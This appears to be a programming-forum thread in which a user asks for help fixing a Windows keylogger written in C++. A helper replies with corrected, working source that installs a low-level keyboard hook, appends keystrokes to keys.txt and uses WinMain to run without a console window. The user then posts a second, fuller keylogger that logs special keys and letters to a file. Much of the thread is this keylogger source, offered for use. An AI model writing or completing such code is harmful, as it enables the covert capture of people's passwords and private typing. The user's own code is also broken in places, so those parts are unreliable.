Will you help me with one error (keylogger)

So yes:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#include <iostream>
#include <windows.h>
#include <fstream>
using namespace std;

LRESULT CALLBACK LowLevelKeyboardProc( int nCode, WPARAM wParam, LPARAM lParam);

int main()
{
fstream plik;
HHOOK hKeyboardHook =0;
plik.open("keys.txt", ios::out);
plik.close();
return 0;
}
LRESULT CALLBACK LowLevelKeyboardProc( int nCode, WPARAM wParam, LPARAM lParam)
{
 KBDLLHOOKSTRUCT *pKbdLLHookStruct = (KBDLLHOOKSTRUCT *)lParam;
  if (nCode >= 0)
    {
        if (wParam == WM_KEYUP)
        {
            switch(pKbdLLHookStruct->vkCode)
            {

            case 'VK_A' : cout <<"A"; break;
            case 'VK_a' : cout <<"a"; break;
            case 'VK_B' : cout <<"B"; break;


            }
        }
    }



}

{



return CallNextHookEx(hKeyboardHook, nCode, wParam, lParam);


{
      MSG msg;
      HHOOK keyboardhook = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, hINSTANCE, 0);

      while(GetMessage(&msg, NULL, 0, 0));
      {
          TranslateMessage(&msg);
          DispatchMessage(&msg);
      }
       return msg.wParam
    }

}


I was able to improve CallNextHookEx but I do not know whether I
But it is still one error
I'll tell you again:

Your code here:
1
2
3
4
5
6
7
8
9
10
11
12
13
{
      MSG msg;
      HHOOK keyboardhook = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, hINSTANCE, 0);

      while(GetMessage(&msg, NULL, 0, 0));
      {
          TranslateMessage(&msg);
          DispatchMessage(&msg);
      }
       return msg.wParam
    }

}


is not a part of any function. Your referenced code has this as part of WinMain():

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
//dziêki u¿yciu WinMain zamiast main mamy program bez okna konsoli
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
    MSG msg;

    hKeyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)LowLevelKeyboardProc, GetModuleHandle(0), 0);

    while(GetMessage(&msg, NULL, 0, 0))
    {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }

    return msg.wParam;
}


Your code does not belong to any defined function, you just write it after everything else. See my post here, in your other thread: http://cplusplus.com/forum/windows/89955/#msg483585
Last edited on
Could I ask you to tell me you wrote the code running because I do not have the strength I do not know how to convert it so that it works. I understand now that it is outside the main () but I do not know what to do.
After showing through you for sure I will not do such errors.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
#include <iostream>
#include <windows.h>
#include <fstream>

//Add:
//-------
#define VK_A 65
//-------

//Add these as global variables:
//-------
fstream plik;
HHOOK hKeyboardHook = 0;
//-------

using namespace std;

LRESULT CALLBACK LowLevelKeyboardProc( int nCode, WPARAM wParam, LPARAM lParam);

//remove main(), replace it with WinMain()
/*int main()
{
fstream plik;
HHOOK hKeyboardHook =0;
plik.open("keys.txt", ios::out);
plik.close();
return 0;
}*/

LRESULT CALLBACK LowLevelKeyboardProc( int nCode, WPARAM wParam, LPARAM lParam)
{


 KBDLLHOOKSTRUCT *pKbdLLHookStruct = (KBDLLHOOKSTRUCT *)lParam;
 
 //Add:
 //--------
 plik.open("keys.txt", fstream::in | fstream::out | fstream::app);
 //--------
 
  if (nCode >= 0)
    {
        if (wParam == WM_KEYUP)
        {
            switch(pKbdLLHookStruct->vkCode)
            {
			//remove:
			//---------
			/*	
            case 'VK_A' : cout <<"A"; break;
            case 'VK_a' : cout <<"a"; break;
            case 'VK_B' : cout <<"B"; break;
			*/
			//---------
			
			//Add:
			//--------
			case VK_A : 
					if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
                        plik << "A";
                    else
                        plik << "a";
                break;
			
			//--------
            }
        }
    }

	//Add:
        //--------
	plik.close();
	//--------

return CallNextHookEx(hKeyboardHook, nCode, wParam, lParam);
}

//Add WinMain() to replace main() :
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
	MSG msg;

    hKeyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)LowLevelKeyboardProc, GetModuleHandle(0), 0);

    while(GetMessage(&msg, NULL, 0, 0))
    {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }

    return msg.wParam;
}



I suggest you read: http://cplusplus.com/doc/tutorial/

It will clear out a lot of C++ features for you.
Last edited on
But this example is that was it, that I will add something like that but then I get errors about the declaration:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
 #include <iostream>
#include <windows.h>
#include <fstream>
using namespace std;

LRESULT CALLBACK LowLevelKeyboardProc( int nCode, WPARAM wParam, LPARAM lParam);

int main()
{
fstream plik;
HHOOK hKeyboardHook =0;
plik.open("keys.txt", ios::out);
plik.close();
return 0;
}
LRESULT CALLBACK LowLevelKeyboardProc( int nCode, WPARAM wParam, LPARAM lParam)
{
 KBDLLHOOKSTRUCT *pKbdLLHookStruct = (KBDLLHOOKSTRUCT *)lParam;
  if (nCode >= 0)
    {
        if (wParam == WM_KEYUP)
        {
            switch(pKbdLLHookStruct->vkCode)
            {

            case 'VK_A' : cout <<"A"; break;
            case 'VK_a' : cout <<"a"; break;
            case 'VK_B' : cout <<"B"; break;


            }
        }

    }
}


int ok()
{
    return CallNextHookEx(hKeyboardHook, int nCode, WPARAM wParam, LPARAM lParam);
    {
      MSG msg;
      hKeyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)LowLevelKeyboardProc, GetModuleHandle(0), 0);

      while(GetMessage(&msg, NULL, 0, 0));
      {
          TranslateMessage(&msg);
          DispatchMessage(&msg);
      }
       return msg.wParam
    }
}


Do not get me wrong, but he wants to do the same thing does not want to copy someone's code.
Is that what you meant that it is the function?
I understand that you want to do the same thing without copying the code, I am referring you to your referenced code because some features cannot be changed for it to work.

For example, case 'VK_A': won't work for two reasons for you:

1), you have not defined VK_A like your reference code does:
#define VK_A 65

and 2) In this situation you have to use switch like this:
case VK_A:
rather than case 'VK_A':

These are requirements of using this type of notions such as a constant value (VK_A representing 65), and using "switch" -- and since you want to use those features, you have to do what is required for them to work -- so if you want to do the same thing in your code, the parts that you change make your code not work. That's why I said that it's a good idea to read the tutorials of this site, to familiarize yourself with the concepts of C++ a little better and understand why changes like the ones I mention above generate the errors you have been getting in the first place.


No, your int ok() is not what I meant. "return CallNextHookEx()" should be part of LowLevelKeyboardProc() (see my previous posts). Also, there are other problems. I suggest you check out the tutorials and familiarize yourself more with concepts of C++, the problems will then be apparent to you.
Last edited on
Thanks for the help but for now I'll give up on it I will not get tired of it.
Now I have another question for you, I found this code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#include<fstream>
#include<windows.h>
#include <iostream>
#define VK_A 65
using namespace std;
fstream plik;
fstream out("keys.txt", ios::out);
LRESULT CALLBACK keyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam) {
        PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT) (lParam);
        if (wParam == WM_KEYDOWN) {
                switch (p->vkCode) {

                        case VK_CAPITAL:        out << "<CAPLOCK>";          break;
                        case VK_SHIFT:    out << "<SHIFT>";  break;
                        case VK_LCONTROL:       out << "<LCTRL>";            break;
                        case VK_RCONTROL:       out << "<RCTRL>";            break;
                        case VK_INSERT:  out << "<INSERT>";              break;
                        case VK_END:        out << "<END>";               break;
                        case VK_PRINT:    out << "<PRINT>";  break;
                        case VK_DELETE:  out << "<DEL>";      break;
                        case VK_BACK:      out << "<BK>";               break;

                        case VK_LEFT:      out << "<LEFT>";      break;
                        case VK_RIGHT:    out << "<RIGHT>";  break;
                        case VK_UP:               out << "<UP>";                     break;
                        case VK_DOWN:      out << "<DOWN>";      break;
                        case VK_A:
                        if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
                        plik << "A";
                        else
                        plik << "a";
                        break;
                        default:
                            out << char(tolower(p->vkCode));
            }
    }
        return CallNextHookEx(NULL, nCode, wParam, lParam);
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) {


        HHOOK keyboardHook = SetWindowsHookEx(
                WH_KEYBOARD_LL,
                keyboardHookProc,
                hInstance,
                0);
        MessageBox(NULL, "Press OK to stop logging.", "Information", MB_OK);
        out.close();
        return 0;
}
 



Can you tell me what function here is responsible for the push buttons? and why not write capital letters ?
Topic archived. No new replies allowed.